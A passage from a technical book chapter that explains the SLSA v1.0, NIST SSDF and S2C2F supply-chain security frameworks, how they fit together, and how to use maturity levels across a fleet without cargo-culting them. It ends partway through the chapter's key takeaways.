- NIST SP 800-218, the Secure Software Development Framework (SSDF), and NIST SP 800-161r1, Cybersecurity Supply Chain Risk Management Practices — risk-management framing for the controls prioritized here (developed in Book 1, Chapter 7 and Book 8, Chapter 1).
- Ross Anderson, *Security Engineering*, 3rd ed. (Wiley, 2020), chapters on economics of security and the weakest-link / free-rider dynamics that underlie this chapter's economics.

Chapter 7 — Risk Frameworks and Maturity Models: SLSA, SSDF, S2C2F

What this chapter covers. The previous chapter gave you the reasoning tools — trust, threat models, economics. This one gives you the **maps other people have already drawn**. Supply chain security has, in the last few years, accreted an alphabet soup of frameworks, levels, and maturity models: SLSA, SSDF, S2C2F, SCVS, SAMM, BSIMM, SDL, the CIS guide, the CNCF paper. A senior engineer walking into this space for the first time is right to be suspicious — much of it looks like the same checklist rebadged by a different working group. It is not. The good frameworks each occupy a distinct position on two axes that matter, and once you can place any new acronym on those axes you stop being confused by the soup. This chapter's job is to teach you the coordinate system, then plot the three frameworks that carry the most weight in practice — **SLSA v1.0**, **NIST SSDF (SP 800-218)**, and **S2C2F** — accurately and in enough depth that you know what each actually claims, what it deliberately does not, and when to reach for which. The deep adoption mechanics — rolling these out across a real org, the regulatory

obligations that force your hand — belong to Book 8. This chapter is the map, not the expedition.

Learning goals — after this chapter you should be able to:

- Place any supply chain framework on the two axes that distinguish them: **production vs consumption** and **technical-artifact vs organizational-process**, and explain why SLSA, SSDF, and S2C2F occupy three different quadrants and therefore *compose* rather than compete.
- State the **SLSA v1.0** Build track levels (L0-L3) precisely — what each requires, what each defends against — and explain the v1.0 restructuring into *tracks*, the provenance-centric model, the A-H threat taxonomy, and the sharp boundary of what SLSA does *not* claim.
- Describe the **NIST SSDF** structure — the four practice groups PO/PS/PW/RV — as outcome-oriented practices rather than prescriptive controls, and explain its load-bearing role in US federal secure-software self-attestation (EO 14028, OMB M-22-18 / M-23-16).
- Describe **S2C2F** — its eight practice areas and four maturity levels — as the *consumption* counterpart to SLSA's production focus, and map it to the open-source ingestion threats.
- Locate the secondary frameworks you will meet — CIS, CNCF, OWASP SCVS, SAMM, BSIMM, Microsoft SDL, Google's BeyondProd — without confusing them for the primary three.
- Use maturity levels as *properties to achieve* rather than *checkboxes to claim*, and reason about how a paved-road platform lets a fleet inherit a SLSA level "for free."

Why frameworks at all

You could, in principle, run a supply chain security program straight off the threat model of Chapter 6 — enumerate your actors, build attack trees, prioritize by criticality × exposure × exploitability, and spend. Some very sophisticated organizations essentially do. So what do frameworks buy you? Three things.

First, a **shared vocabulary**. When a vendor's security questionnaire asks "do you produce SLSA Build L3 provenance?" that sentence carries a precise, checkable meaning that "our builds are pretty locked down" does

not. Frameworks turn fuzzy assurances into propositions that can be true or false, tested, and attested. Most of the value of SLSA is not the requirements themselves — a competent team would arrive at most of them independently — but that the requirements are *named* and *tiered* so that two parties who have never met can communicate an integrity property in four characters.

Second, **completeness**. A threat model you build yourself has the blind spots you build into it. A framework assembled by a working group of people who have each been burned differently is a checklist against your own imagination. You may disagree with SSDF task PW.4 ("reuse existing, well-secured software"), but the fact that it is on the list forces you to have a position on it rather than to simply never think of it.

Third, **leverage on other people**. Frameworks are how you make demands of parties you do not control — suppliers, upstream maintainers, internal teams — without re-litigating first principles each time. "Meet SLSA Build L2" is a contract term; "be more secure" is not.

The cost of frameworks is the failure mode this chapter spends its last third on: **cargo-culting**. A level is a claim about a property. It is trivially possible to satisfy the letter of a level while the property it was meant to guarantee is absent — to be "SLSA L3" on paper while your provenance is, in practice, forgeable. Frameworks are tools for thinking, not substitutes for it. Hold that tension the whole way through.

The coordinate system

Before any specific framework, install the two axes. Everything downstream hangs off them.

The first axis is **production vs consumption**. Are you securing the software *you build and ship* (production), or the software *you pull in and depend on* (consumption)? These are genuinely different problems with different threat actors. Production security is about proving that what you shipped is what you meant to ship — build integrity, provenance, signing. Consumption security is about not getting owned by what you pulled from npm — ingestion control, scanning, inventory, patching. The same organization is simultaneously a producer (of its services) and a consumer (of its dependencies), and the two postures barely overlap.

The second axis is **technical-artifact vs organizational-process**. Does the framework specify *properties of artifacts and systems* (this

provenance must be non-forgeable; builds must be isolated), or *practices an organization performs* (train your developers; have a vulnerability disclosure policy; review third-party components)? Artifact-level frameworks are narrow, deep, mechanically checkable, and often automatable. Process-level frameworks are broad, shallow-per-item, human-audited, and cover the whole software development lifecycle rather than one slice of it.

```
flowchart TB
    subgraph AXES[" "]
        direction TB
        T1["Technical / artifact-level  
(checkable properties of builds, provenance, packages)"]
        T2["Organizational / process-level  
(practices across the whole SDLC)"]
    end

    subgraph PROD["PRODUCTION – securing what you ship"]
        SLSA["SLSA v1.0  
build integrity + provenance  
artifact-level, narrow, automatable"]
        SSDF["NIST SSDF (SP 800-218)  
secure-dev practices, whole SDLC  
process-level, broad"]
    end

    subgraph CONS["CONSUMPTION – securing what you ingest"]
        S2C2F["S2C2F  
secure OSS consumption  
process + technical, maturity-tiered"]
    end

    SLSA -->|"compose, do not compete"| S2C2F
    SSDF -->|"SSDF's PW/PS practices call for SLSA-style controls"| SLSA
    SSDF -->|"SSDF's PW.4 / PS practices call for S2C2F-style controls"| S2C2F
```

Keep this diagram in your head. SLSA lives in the production/technical quadrant: narrow, deep, about artifacts. SSDF lives in the production/process quadrant: broad, whole-lifecycle, about what your organization does. S2C2F lives on the consumption side, spanning technical and process because ingesting open source safely requires both mechanical controls (an internal mirror, scanners) and organizational practice (inventory, patching SLAs). Three frameworks, three positions, no overlap worth fighting about. Now the details.

SLSA v1.0 — build integrity and provenance

SLSA — Supply-chain Levels for Software Artifacts, pronounced "salsa" — is the framework you will hear invoked most in engineering rooms, because it is the one that turns into CI configuration. It is a project of the **OpenSSF** (Open Source Security Foundation, under the Linux Foundation). It originated inside Google, which announced the first draft in June 2021, generalizing ideas from Google's internal **Binary Authorization for Borg** (BAB) — the system that refuses to deploy a binary to production unless it carries verifiable provenance proving it came from an approved build pipeline out of reviewed source. Google donated the framework to OpenSSF, where it matured from **v0.1 (2021)** through release candidates to **v1.0, published in April 2023**.

The track restructuring

The single most important thing to understand about v1.0 — and the thing most stale blog posts get wrong — is that v1.0 **reorganized SLSA into tracks**. In the v0.1 model there was one ladder of four levels (L1-L4), and each level bundled together requirements about source control, build integrity, and provenance. That coupling was a design mistake: it meant you could not certify that your *builds* were hardened without also dragging in requirements about your *source* review process, even though those are separately-achievable properties defended against different threats.

v1.0 split the ladder into independent **tracks**, each measuring one dimension of supply chain integrity, each with its own levels. At v1.0, exactly one track is fully specified — the **Build track** (L0-L3). A **Source track** and others are described as future work and were still in development when v1.0 shipped (the Source track has since been specified in later SLSA releases; at v1.0 it was not). The payoff of tracks is that you can say "we're Build L3" as a crisp, self-contained claim about build integrity, without conflating it with anything about how your code is reviewed.

The reframing also **dissolved the old Level 4**. In v0.1, L4 required *hermetic and reproducible builds* plus *two-person review* of everything. v1.0 did not carry L4 forward. Two-person review is a *source* property and moved conceptually to the Source track; hermeticity and reproducibility were reframed as valuable practices that support L3's

non-forgeability goal rather than as a mandatory top rung. So if you read "SLSA Level 4" anywhere describing v1.0, the author is working from the old model. v1.0 Build track tops out at **L3**.

The core artifact: provenance

Everything in SLSA orbits one artifact: **provenance**. Provenance is a signed, machine-readable statement, generated *by the build process*, that describes how an artifact was produced — who (which builder identity) built it, from what (the source revision and the build inputs), how (the build entry point / command), and when. In v1.0 it is expressed as an **in-toto attestation** carrying a **SLSA Provenance predicate** (the mechanics — predicate schema, in-toto envelope, DSSE signing — are the subject of Book 4, Chapter 3 and Book 5, Chapter 4). The intuition: provenance is a birth certificate for a binary, issued by the hospital (build platform) that delivered it, so that anyone downstream can later check the binary's parentage against the claim.

The levels are, at bottom, a scale of **how much you can trust that birth certificate**. Does one exist at all? Is it signed? Could the baby have forged its own certificate?

The Build track levels

```

flowchart LR
    L0["Build L0  
No guarantees  
ad-hoc / local build  
no provenance"]
    L1["Build L1  
Provenance exists  
scripted build +  
provenance generated  
(may be unsigned)"]
    L2["Build L2  
Signed provenance  
hosted build platform  
generates + signs it  
authenticity verifiable"]
    L3["Build L3  
Hardened / non-forgable  
isolated runs, build steps  
cannot reach signing key"]

    L0 -->|"scripted build,  
emit provenance"| L1
    L1 -->|"move to hosted platform,  
sign provenance"| L2
    L2 -->|"isolate runs,  
protect signing material"| L3

    L1 -.defends.-> D1["release mistakes:  
building from the  
wrong commit"]
    L2 -.defends.-> D2["post-build tampering:  
swapping the artifact  
after it is built"]
    L3 -.defends.-> D3["in-build tampering:  
insiders, stolen creds,  
co-tenants forging provenance"]

```

Build L0 — no guarantees. The baseline. No provenance, no requirements. A binary built on a developer laptop and uploaded by hand is L0. This is not a failing grade so much as the absence of any claim; it exists so that "L0" is a thing you can say instead of "outside the framework."

Build L1 — provenance exists. The build runs through a *consistent, scripted process* (not a human typing compile commands by hand) and that process *emits provenance* describing what was built, by what process, from what inputs, and distributes it to consumers. Crucially, at

L1 the provenance may be **unsigned** — SLSA is explicit that L1 provenance can be "trivial to bypass or forge." So what does L1 buy you? It defends against **honest mistakes**: building from a commit that never made it upstream, shipping from a dirty working tree, a release engineer's local patch that was never reviewed. It also makes builds *legible* — you now have a record to inspect. It defends against nobody who is actually trying. That is fine; it is rung one.

Build L2 — signed provenance from a hosted build platform. Two things change. The build moves onto a **hosted build platform** (a shared CI service, not a laptop), and that platform **generates and signs the provenance itself**, so downstream verifiers can check the signature's authenticity. The property gained is **tamper-evidence after the build**: because the provenance is cryptographically bound to the artifact digest and signed by the platform, an adversary who swaps the artifact in the registry afterward cannot produce matching provenance. SLSA notes a secondary, almost sociological benefit: L2 raises the cost of misbehavior for adversaries who face legal or financial consequences, because the signed record creates accountability. What L2 does *not* yet stop is tampering *during* the build — because at L2 the user-controlled build steps might still be able to reach the signing key.

Build L3 — hardened, non-forgeable provenance. L3 closes that gap. The build platform must provide **strong isolation** between runs (one build cannot influence another) and must ensure **the signing material is inaccessible to the user-defined build steps** — the very code being run in the build cannot get at the key used to sign its own provenance. This is the property that makes provenance **non-forgeable**: even an attacker who fully controls the build's *inputs* (malicious source, a poisoned dependency, a compromised developer credential) cannot make the platform sign a *lie* about what it built, because the attacker's code and the signing authority are architecturally separated. L3 defends against **in-build tampering** by insider threats, compromised credentials, and malicious co-tenants on a shared platform. This is the level that BAB effectively enforces at Google and the level that regulated buyers increasingly ask for.

Notice the shape of the ladder. L1 is about *existence*, L2 about *authenticity*, L3 about *integrity of the build environment itself*. Each rung defends against a strictly stronger adversary. And the jump that matters most operationally is that L1→L2→L3 are *about the platform*, not about

the project — which is exactly why, in the distributed-systems section, the platform team can hand an entire fleet L2 or L3 without any individual service team doing work.

The threat model: A-H

SLSA levels are calibrated against an explicit threat taxonomy. The v1.0 spec enumerates supply chain threats **A through H**, laid out along the path from source to consumer:

```
flowchart LR
    DEV["Developer"] -->|"(A) submit  
unauthorized change"| SRC["Source repo"]
    SRC -->|"(B) compromise  
source repo"| SRC2["Source"]
    SRC2 -->|"(C) build from  
modified source"| BUILD["Build process"]
    BUILD -->|"(D) use compromised  
dependency"| BUILD
    BUILD -->|"(E) compromise  
build process"| PKG["Package"]
    PKG -->|"(F) upload  
modified package"| REG["Package registry"]
    REG -->|"(G) compromise  
package repo"| CONS["Consumer"]
    REG -->|"(H) use compromised  
package"| CONS

    classDef build fill:#c0392b,color:#fff;
    class BUILD build;
```

The letters, per the v1.0 threats specification:

Threat	Name	Category
A	Submit unauthorized change	Source
B	Compromise source repo	Source
C	Build from modified source	Source to build
D	Use compromised dependency	Dependency
E	Compromise build process	Build
F	Upload modified package	Build to distribution

Threat	Name	Category
G	Compromise package repo	Distribution
H	Use compromised package	Distribution / usage

The Build track directly addresses the **build threats** — **principally E and F**, and via provenance's record of the source revision it helps *detect* C (a build that did not come from the claimed source). It does **not** address the source threats A and B — those are the Source track's remit — and it does **not** solve the dependency threat D, though the provenance it produces is an input that *consumption*-side tools use to reason about dependencies. G and H are distribution and usage threats that live largely with package registries and verifiers (Book 5's signing and transparency machinery, Book 8's registry hardening).

This is the producer/verifier model in one picture. SLSA describes two roles: the **producer**, who runs builds that emit provenance at some level, and the **verifier**, who checks provenance against a policy before trusting an artifact ("only deploy Build L3 provenance signed by our platform, attesting a source repo on our allowlist"). SLSA the *framework* defines the levels and the provenance format; it deliberately leaves the verification *policy* to you, because the policy is where your specific trust decisions live. The mechanics of writing and enforcing that policy — admission controllers, `slsa-verifier`, `cosign verify-attestation`, policy engines — are Book 4 and Book 5.

What SLSA does not claim

Be ruthlessly clear about SLSA's scope, because over-claiming it is a common and dangerous mistake. **SLSA is about build integrity and provenance. It is not about code quality, and it is not about vulnerabilities.** A Build L3 artifact is one you can prove was built by a hardened platform from a specific source revision with a truthful, non-forgeable birth certificate. It says *nothing* about whether that source is any good. You can achieve Build L3 provenance for a binary that is riddled with SQL injection, ships a known-vulnerable Log4j, or contains a maintainer's deliberate backdoor — as long as the backdoor was in the source, faithfully built, and faithfully attested, SLSA is *satisfied*, because SLSA's promise is "what you got is what that source compiled to," not "that source is safe." The xz-utils backdoor (Book 1, Chapter 5) would

have sailed through a Build L3 pipeline untouched, because the malice was in the source tree the maintainer controlled. SLSA raises the cost of *tampering with the build*; it does nothing about *trusting the wrong source*. Confusing "L3" with "secure" is the archetypal cargo-cult error, and it is why the next two frameworks exist.

NIST SSDF — SP 800-218

If SLSA is a scalpel, the **NIST Secure Software Development Framework** is a whole surgical curriculum. Published as **NIST Special Publication 800-218** (version 1.1, February 2022), the SSDF is a catalog of **secure software development practices spanning the entire lifecycle** — organizational preparation, protecting your source and build assets, producing well-secured software, and responding to vulnerabilities after release. Where SLSA measures one artifact property on a technical ladder, SSDF describes *what a software-producing organization should do*, from developer training to incident response.

Structure: practices and tasks, not controls

SSDF is deliberately **not** a set of prescriptive controls. It does not say "use tool X" or "set config Y." It is organized as **practices** (outcomes to achieve) decomposed into **tasks** (the work that achieves them), each accompanied by *implementation examples* and *references* to other standards (BSIMM, OWASP SAMM, SP 800-53, and others) where you can find concrete controls. This is a deliberate design choice: SSDF aims to be technology-agnostic and composable, a common vocabulary that maps onto whatever concrete practices you already run, rather than a competing control set. The practices are grouped into **four families**:

```

flowchart TB
    subgraph SSDF["NIST SSDF – SP 800-218"]
        PO["PO – Prepare the Organization  
people, process, tools ready  
before you write code:  
security requirements, roles,  
toolchains, criteria"]
        PS["PS – Protect the Software  
protect all components from  
tampering and unauthorized access:  
protect code, verify integrity,  
archive releases"]
        PW["PW – Produce Well-Secured Software  
design, write, review, test with  
security in mind: threat modeling,  
secure defaults, reuse well-secured  
components, code review, testing"]
        RV["RV – Respond to Vulnerabilities  
after release: identify,  
assess, remediate vulns and  
find root causes so they  
do not recur"]
    end

    PO --> PS
    PS --> PW
    PW --> RV
    RV -->| "root-cause feedback  
improves PO/PW" | PO

```

- **PO — Prepare the Organization.** Get people, processes, and tooling ready *before* you build: define security requirements for software and for the toolchain, assign roles, provide training, establish the criteria by which you will judge software's security.
- **PS — Protect the Software.** Protect all components from tampering and unauthorized access: guard source and build artifacts, provide a mechanism to *verify software integrity* (this is where signing and provenance appear at the SSDF level), and archive/protect each release.
- **PW — Produce Well-Secured Software.** The biggest family: design software to meet security requirements and mitigate risks (threat modeling), *reuse existing well-secured software* rather than reinventing (the task, PW.4, that pulls in dependency-management and thus S2C2F-shaped concerns), follow secure coding practices, configure secure defaults, and review and test the code.

- **RV — Respond to Vulnerabilities.** After release: identify and confirm vulnerabilities on an ongoing basis, assess and remediate them, and analyze root causes to reduce recurrence — the disclosure, triage, and patch loop.

SSDF 1.1 comprises on the order of nineteen practices and several dozen tasks across these four families. You are not meant to memorize the identifiers; you are meant to internalize the shape: **organization then protect assets then build securely then respond**, a full lifecycle rather than one slice.

Why SSDF is the one regulators point at

SSDF matters out of proportion to its technical novelty because of where it sits in US federal policy. **Executive Order 14028** ("Improving the Nation's Cybersecurity," May 2021) directed NIST to produce secure-software guidance; SSDF (and its companion SP 800-161 for C-SCRM) is that guidance. The Office of Management and Budget then made it operative for procurement: **OMB M-22-18** (September 2022), updated and clarified by **OMB M-23-16** (June 2023), requires federal agencies to obtain a **self-attestation** from software producers that they follow SSDF practices before that software may be used. CISA subsequently published a common **Secure Software Development Attestation Form** to standardize how producers make that attestation.

The practical consequence for you: if your software touches the US federal government, SSDF is the framework whose language your attestation will be written in. This is why SSDF, despite being the least *technical* of the three, is often the one that lands on an engineering leader's desk first — not because it is the sharpest tool, but because it is the one with a regulatory mandate behind it. The full weight of that mandate, the attestation form, and the parallel EU regime (the Cyber Resilience Act) are Book 8's subject.

NIST also published **SP 800-218A** (2024), a *community profile* extending the SSDF with practices specific to the development of **generative AI and dual-use foundation models** — addressing model-specific supply chain concerns like training-data provenance and model weights. Mentioned here so you can place it; if you build or ship models, it is the SSDF overlay to read.

SSDF vs SLSA: the composition

The relationship is the whole point. **SSDF is broad and process-oriented across the entire SDLC; SLSA is narrow and technical about build integrity.** They are not alternatives — SSDF's PS practices literally *call for* the kind of integrity verification that SLSA provenance provides. A useful way to hold it: SSDF tells you *that* you must be able to verify software integrity and protect your build; SLSA tells you *how* to do the build-and-provenance part concretely, with levels. You satisfy an SSDF practice partly by implementing SLSA. One is the syllabus, the other is a graded module within it.

S2C2F — securing the consumption side

SLSA and SSDF are both, fundamentally, about the software *you produce*. But the majority of the code in your running services is not code you wrote — it is open source you *consumed*. The frameworks above barely touch the moment where a developer types `npm install` and pulls an unreviewed package tree from the public internet into your build. That ingestion moment is where typosquatting, dependency confusion, and malicious-maintainer attacks (Book 1, Chapter 4) land. The **Secure Supply Chain Consumption Framework — S2C2F** — is the framework built specifically for it.

S2C2F was created by **Microsoft** (used internally since around 2019) and **donated to the OpenSSF** in August 2022, where it lives under the Supply Chain Integrity Working Group. Its scope is the mirror image of SLSA's: not "prove what I ship," but "**consume open source safely.**" It was designed with a threat-based method — start from the real ways OSS consumption goes wrong, then define practices that reduce each risk — and it maps its requirements to a catalog of real-world OSS consumption threats: accidental inheritance of a known-vulnerable version, an intentionally sabotaged package (the `colors/faker` sabotage), a compromised distribution mirror, a compromised upstream repository, typosquatting, a compromised build tool, dependency confusion, a malicious *transitive* dependency (event-stream), package tampering, upstream deletion (left-pad), unpatched end-of-life components, slow upstream fixes, a hijacked maintainer account (ua-parser-js), and hostile re-licensing (node-ipc). If you read Book 1's case-study chapters, you will recognize nearly every one.

Eight practice areas, four maturity levels

S2C2F organizes the work into **eight practice areas** and grades adoption on **four maturity levels (1-4)**. Each individual requirement is tagged with the maturity level at which it applies, so "S2C2F Level 2" means "you meet every requirement tagged Level 1 and 2 across all eight practices."

```
flowchart TB
    subgraph PRACTICES["S2C2F – eight practice areas"]
        ING["Ingest  
pull OSS through a controlled  
internal feed / mirror, not  
directly from public registries"]
        SCAN["Scan  
scan ingested OSS for vulns,  
malware, license, and  
end-of-life status"]
        INV["Inventory  
maintain a runtime inventory  
of which OSS is where  
(answer 'am I affected?')"]
        UPD["Update  
be able to patch fast;  
drive down MTTR to  
update a vulnerable component"]
        ENF["Enforce  
mandate that all OSS comes  
through the approved feed;  
block direct pulls"]
        AUD["Audit  
verify chain-of-custody and  
that consumption actually  
went through the controls"]
        REB["Rebuild  
rebuild critical OSS from source  
in a trusted, controlled  
environment"]
        FIX["Fix + Upstream  
privately fix critical issues,  
then contribute the fix upstream"]
    end
```

- **Ingest** — pull open source through a controlled internal feed or mirror rather than letting every build reach straight out to public registries. This single practice is the linchpin: it creates the chokepoint at which every other control can act.

- **Scan** — scan ingested components for known vulnerabilities, malware, license problems, and end-of-life status.
- **Inventory** — keep an inventory of what OSS is deployed where, so that when the next Log4Shell drops you can answer "are we affected, and where?" in minutes not weeks.
- **Update** — maintain the capability to patch quickly; the metric here is mean-time-to-remediate a vulnerable dependency.
- **Enforce** — make the controlled feed *mandatory*: block builds from ingesting OSS by any other path. Ingest without Enforce is a suggestion.
- **Audit** — verify chain-of-custody: confirm that what you consumed actually flowed through your controls and detect tampering.
- **Rebuild** — for your most critical dependencies, rebuild them from source in a trusted environment rather than trusting upstream's published binaries (this is where S2C2F reaches toward SLSA-style production integrity, applied to code you consume).
- **Fix + Upstream** — privately patch critical issues when you must, and contribute fixes back upstream so you are not carrying a permanent fork and so the ecosystem improves.

The maturity levels, per the specification, run:

Level	Intent
1	Baseline governance: use a package-caching/mirror solution, inventory your OSS, scan it, and update it — the most common minimum set of capabilities.
2	Shift left: harden ingestion configuration, drive down MTTR to patch OSS vulnerabilities, and respond to incidents.
3	Proactive: perform security analysis on your most-used OSS components and reduce the risk of consuming outright malicious packages.
4	Aspirational: rebuild critical OSS from source and mitigate sophisticated, not-yet-public threats — hard at scale, and not expected of most organizations.

The design is intentionally forgiving. Level 1 is achievable by any competent platform team in a quarter (mirror + scanner + inventory).

Level 4 is a research posture that Microsoft-scale organizations approach and most others rationally never reach. The maturity model exists so you can honestly say "we are Level 2, working toward 3" rather than being forced into an all-or-nothing claim — the same virtue as SLSA's tracks, applied to consumption.

S2C2F vs SLSA: two halves of the same coin

Put S2C2F beside SLSA and the complementarity is exact. SLSA secures **production** — it lets *you*, the producer, emit trustworthy provenance. S2C2F secures **consumption** — it lets *you*, the consumer, safely ingest software that other producers shipped. If every one of your upstreams produced SLSA L3 provenance, S2C2F's job would get easier (you would have provenance to verify at ingest time), but it would not disappear, because most of the public ecosystem produces no provenance at all, and because inventory, patching, and enforcement are consumer responsibilities no producer can discharge for you. In the real world you run *both*: SLSA-style controls on your own build platform, S2C2F-style controls on your ingestion path. They meet in the middle at the verifier.

How they fit together

Here is the synthesis, which is the part worth carrying out of this chapter. Three frameworks, three positions on the two axes:

```
quadrantChart
  title Supply chain frameworks on two axes
  x-axis "Production (what you ship)" --> "Consumption (what you
  ingest)"
  y-axis "Process (whole SDLC)" --> "Technical (artifact-level)"
  quadrant-1 "Consumption / technical"
  quadrant-2 "Production / technical"
  quadrant-3 "Production / process"
  quadrant-4 "Consumption / process"
  "SLSA v1.0": [0.22, 0.85]
  "NIST SSDF": [0.28, 0.18]
  "S2C2F": [0.78, 0.52]
```

And the same three, compared on the dimensions that actually differ:

Dimension	SLSA v1.0	NIST SSDF (SP 800-218)	S2C2F
Governance	OpenSSF (Linux Foundation); origin Google	NIST (US government)	OpenSSF; origin Microsoft
Primary scope	Producing software	Producing software	Consuming open source
Focus	Build integrity + provenance	Secure-dev practices, whole SDLC	Safe OSS ingestion
Altitude	Technical / artifact-level	Organizational / process-level	Both (mirror + inventory/ process)
Unit of measure	Build track levels L0-L3	Practices and tasks (PO/PS/PW/RV)	8 practice areas by maturity 1-4
Checkable how	Automatable (verify provenance)	Human audit / self-attestation	Mixed (tooling + program audit)
Answers	"Is this artifact what its source built to?"	"Does this org build software securely?"	"Am I ingesting open source safely?"
Silent on	Code quality, vulnerabilities	Concrete tool/ control choices	Producing your own artifacts

The right mental model is **layers, not options**. SSDF is the broad substrate: it tells your organization to build securely across the whole lifecycle, and it is the one a US federal attestation is written against. Inside SSDF's "protect the software" and "produce well-secured software" families, SLSA is the concrete, technical answer for the build-integrity slice, and S2C2F is the concrete answer for the consume-open-source slice. A mature program runs all three without friction because they were, more or less, designed to nest.

The rest of the map

You will meet other acronyms. Place them, do not deep-dive them — most are covered where they do real work, later in the series.

- **CIS Software Supply Chain Security Guide** — a benchmark-style guide from the Center for Internet Security (developed with Aqua Security), offering a large set of concrete, prescriptive recommendations across five areas (source code, build pipelines, dependencies, artifacts, deployment). Where SLSA gives you levels and SSDF gives you outcomes, CIS gives you a long checklist of specific hardening items. Reach for it when you want concrete controls to implement, not a model to reason with.
- **CNCF Software Supply Chain Best Practices** — a white paper from the CNCF's Security Technical Advisory Group (TAG Security), oriented to cloud-native pipelines, organized around securing the source, materials, build pipelines, artifacts, and deployments. Its companion **Secure Software Factory** reference architecture is a concrete blueprint for a hardened pipeline. This is the Kubernetes-native reader's on-ramp; it informs much of Book 6.
- **OWASP SCVS (Software Component Verification Standard)** — a community standard (v1.0, 2020) for verifying the security of *third-party and open-source components*, organized into control families (inventory, SBOM, build environment, package management, component analysis, pedigree and provenance) with three increasing verification levels. Think of it as the consumption-verification counterpart that predates and overlaps S2C2F's technical practices; strong on SBOM and component analysis, which is why it recurs in Book 3.
- **OWASP SAMM** and **BSIMM** — two *appsec* maturity models broader than supply chain. **SAMM** (Software Assurance Maturity Model, v2.0) is *prescriptive*: five business functions (governance, design, implementation, verification, operations), each with practices scored at maturity levels 1-3, telling you what to do. **BSIMM** (Building Security In Maturity Model) is *descriptive*: it does not tell you what to do; it reports what a large cohort of real firms are *observed* to do, so you can benchmark yourself against the herd. Same domain, opposite epistemology — SAMM is a target, BSIMM is a mirror. Both

are whole-appsec, wider than the supply chain, and predate the current wave.

- **Microsoft SDL (Security Development Lifecycle)** — the ancestor of much of this, born inside Microsoft after the 2002 Trustworthy Computing push. A set of secure-development practices across the lifecycle; SSDF is in many ways the vendor-neutral, government-blessed generalization of the ideas SDL pioneered.
- **Google BeyondProd** — not a framework you adopt but a *paper describing an architecture*: Google's account of how it secures its own cloud-native production environment, including the Binary Authorization for Borg mechanism that is SLSA's direct ancestor. Read it to understand where SLSA's non-forgable-provenance idea came from and what a fully-realized version looks like at hyperscale.

Using maturity levels without cargo-culting

Every framework in this chapter hands you a number to put on a slide — Build L3, S2C2F Level 2, SAMM maturity 2. Those numbers are useful and dangerous in the same breath, and a senior engineer's job is to keep the usefulness while refusing the danger.

The danger is **treating the level as the goal instead of the property**. "We are SLSA L3" is either a *claim about a real property* — our build platform genuinely isolates runs and genuinely keeps signing material out of reach of build steps, and we have verified this — or it is a *checkbox*, a slide that a compliance exercise produced by mapping some existing CI to some level descriptions and declaring victory. The two are indistinguishable on the slide and completely different in reality. The cargo-cult failure is building the runway and the control tower out of straw and wondering why no planes land: you have the *artifacts* of L3 (a provenance file, a signature) without the *property* of L3 (non-forgability), and an attacker who understands the difference walks straight through.

Concretely, ask of any level claim:

- **What property does this level actually assert, in mechanism terms?** For Build L3: "user-controlled build steps cannot access the signing key." Now — *can they?* If your "L3" pipeline runs the build and the signer in the same context with the key in an environment

variable, you have an L1 pipeline wearing an L3 badge. The badge lies.

- **Who verifies, and against what policy?** A level is meaningless without a verifier that *rejects* non-conforming artifacts. Provenance nobody checks is a decoration. If nothing in your deploy path refuses an artifact for failing the level, you do not have the level; you have a file.
- **Is the level even the property you needed?** Recall SLSA is silent on code quality. A team that drove hard to Build L3 while never scanning a single dependency has optimized a number that does not defend against the threat that will actually hit them (a malicious dependency, threat D, which L3 does not touch). Cargo-culting is not only faking a level; it is *achieving a real level that answers the wrong question*.

Use levels as **communication and as a ratchet**: a shared shorthand for a property, and a ladder that lets you show honest incremental progress ("we moved the fleet from L1 to L2 this quarter"). Refuse them as **trophies**. The healthiest orgs treat their level as a *hypothesis to be tested* — they periodically try to forge their own provenance, and only believe "L3" once they have failed to.

Distributed-systems lens: frameworks across a fleet

Everything above is written as though "you" adopt a framework. In a real backend organization there is no singular you: there are hundreds of services, dozens of teams, thousands of repos, and deploys by the minute. The frameworks do not change, but the *unit of adoption* does, and that changes the whole strategy.

You will never get every repo to L3 one repo at a time. If achieving SLSA Build L3 requires each of 400 teams to independently harden their build, isolate runs, and protect signing material, the program is dead on arrival — most teams have no security engineer, no time, and no interest, and the long tail of neglected services will sit at L0 forever. Per-repo adoption of a technical framework does not scale, and anyone who plans it that way is planning to fail.

The escape hatch is that SLSA levels are properties of the build platform, not of the project. Re-read the L2 and L3 definitions: "hosted build platform generates and signs the provenance," "the platform

prevents runs from influencing each other and prevents build steps from accessing signing material." Those are properties of the *shared CI system*. Which means: if you harden the *platform* once, every tenant that builds on it inherits L2 or L3 provenance **for free**, with no change to their code and often no awareness that it happened. This is the **paved road** (Chapter 6's chokepoint made concrete): a central platform team builds one hardened, isolated, provenance-emitting build service, makes it the path of least resistance, and the entire fleet climbs the ladder together. A service team's "adoption" of SLSA L3 becomes "they migrated their build onto the paved road" — a Kubernetes-native reality Book 6 develops and a rollout Book 8 sequences.

The same logic applies to S2C2F. You do not ask 400 teams to each stand up a scanned, audited OSS mirror. You stand up *one* internal package feed with scanning, malware detection, and inventory built in, and you make it the default (better yet, the only) registry the build network can reach — that is S2C2F **Enforce** implemented as network policy, and it drags the whole fleet from S2C2F Level 1 toward Level 2 at once. Consumption security scales through a shared ingestion chokepoint for exactly the same reason production security scales through a shared build platform: **concentrate the trust decision where it can be made once, well, by people who care.**

This reframes what "measuring maturity across a fleet" means. The wrong metric is an average — "our mean SLSA level is 1.8" — because the average hides the risk, which lives in the *tail*. The question that matters is **coverage**: what fraction of production traffic, or of tier-0 services, is served by artifacts that came off the paved road with L3 provenance and passed the verifier? A fleet where 95% of critical services are L3 and 5% are unaudited legacy is not "1.9 on average"; it is "L3 with a 5% hole," and the hole is where the incident comes from. Track coverage and the tail, not the mean. And track it with the *verifier's* records — the admission controller's log of what it accepted and rejected — not with a spreadsheet of self-declared levels, because self-declared levels are exactly the cargo-cult artifact this chapter warned you about. The platform that grants the level should also be the platform that measures it; that closes the loop between the property and the number.

Key takeaways

- **Two axes place every framework: production vs consumption, and technical-artifact vs organizational-process.** SLSA is production/technical, SSDF is production/process, S2C2F is consumption (both). Once you can plot an acronym on these axes you stop being confused by the soup — and you see the three primary frameworks *compose* rather than compete.
- **SLSA v1.0 is about build integrity and provenance, nothing more.** It is an OpenSSF project (origin Google/BAB), restructured in v1.0 (April 2023) into independent *tracks*; only the Build track (L0-L3) is fully specified, the old L4 was dropped, and the Source track was still future work at v1.0. The core artifact is signed provenance.
